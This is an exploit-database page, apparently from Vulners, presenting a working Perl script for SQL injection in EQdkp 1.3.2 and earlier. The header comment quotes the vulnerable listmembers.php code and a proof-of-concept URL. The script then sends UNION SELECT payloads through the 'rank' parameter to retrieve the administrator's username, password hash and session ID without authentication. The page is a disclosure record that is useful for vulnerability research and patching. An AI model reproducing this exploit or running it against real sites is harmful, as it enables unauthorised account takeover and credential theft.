Lucene search
K

EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

EQdkp 1.3.2 Remote SQL Injection Exploit to Retrieve Admin Username & Has

Code

                                                #!/usr/bin/perl -w

#################################################################################
#										#
#		      EQdkp &#60;= 1.3.2 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (listmembers.php):						#
#										#
#  $sql = &#39;SELECT m.*, (m.member_earned-m.member_spent+m.member_adjustment) 	#
#  AS member_current, member_status, r.rank_name, r.rank_hide, r.rank_prefix, 	#
#  r.rank_suffix, c.class_name AS member_class, c.class_armor_type AS 		#
#  armor_type, c.class_min_level AS min_level, c.class_max_level AS max_level	#
#  FROM &#39; . MEMBERS_TABLE . &#39; m, &#39; . MEMBER_RANKS_TABLE . &#39; r, &#39; . CLASS_TABLE 	#
#  . &#39; c WHERE c.class_id = m.member_class_id AND (m.member_rank_id = 		#
#  r.rank_id)&#39;;									#
#    										#
# 	if ( !empty($_GET[&#39;rank&#39;]) )						#
#    {										#
#        $sql .= &#34; AND r.rank_name=&#39;&#34; . urldecode($_GET[&#39;rank&#39;]) . &#34;&#39;&#34;;		#
#    }										#
#										#
# PoC: http://victim.com/listmembers.php?show=all&rank=%2527 UNION SELECT 	#
#      0,username,0,0,0,0,0,0,0,0,0,0,0,0,0,user_password,0,NULL,NULL,0,0,0,0 	#
#      FROM eqdkp_users where user_id=1/*					#
# 										#
# Subject To: Nothing, no authentication...nada!				#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV &#60; 1){
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;                  EQdkp &#60;= 1.3.2 SQL Injection Exploit\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;Usage: w4ck1ng_eqdkp.pl [PATH]\r\n\r\n&#34;;
print &#34;[PATH] = Path where EQdkp is located\r\n\r\n&#34;;
print &#34;e.g. w4ck1ng_eqdkp.pl http://victim.com/eqdkp/\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
print &#34;            		        ...Silentz\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
exit();
}

$b = LWP::UserAgent-&#62;new() or die &#34;Could not initialize browser\n&#34;;
$b-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;);

$host = $ARGV[0] . &#34;listmembers.php?show=all&rank=%2527 UNION SELECT 0,username,0,0,0,0,0,0,0,0,0,0,0,0,0,user_password,0,NULL,NULL,0,0,0,0 FROM eqdkp_users where user_id=1/*&#34;;
$res = $b-&#62;request(HTTP::Request-&#62;new(GET=&#62;$host));

print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;                  EQdkp &#60;= 1.3.2 SQL Injection Exploit\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;

if($res-&#62;content =~ /&#34;&#62;&#60;i&#62;(.*?)&#60;\/i&#62;&#60;\/a&#62;&#60;\/td&#62;/){
print &#34;[+] Admin User : $1\n&#34;;}

else {print &#34;\n[-] Unable to retrieve admin username...&#34;}

if($res-&#62;content =~ /&#34;&#62;([0-9a-fA-F]{32})&#60;\/a&#62;&#60;\/td&#62;/){
print &#34;[+] Admin Hash : $1&#34;;}

else {print &#34;\n[-] Unable to retrieve admin hash...\n&#34;;}

$host = $ARGV[0] . &#34;listmembers.php?show=all&rank=%2527 UNION SELECT 0,session_id,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,NULL,NULL,0,0,0,0 FROM eqdkp_sessions where session_user_id=1/*&#34;;
$res = $b-&#62;request(HTTP::Request-&#62;new(GET=&#62;$host));

if($res-&#62;content =~ /&#34;&#62;&#60;i&#62;(.*?)&#60;\/i&#62;&#60;\/a&#62;&#60;\/td&#62;/){
print &#34;[+] Admin SessionID : $1\n&#34;;} 

else {print &#34;\n[-] Unable to retrieve admin sessionid...he/she is not logged in!\n&#34;;}

print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
print &#34;            		        ...Silentz\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;

# milw0rm.com [2007-06-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation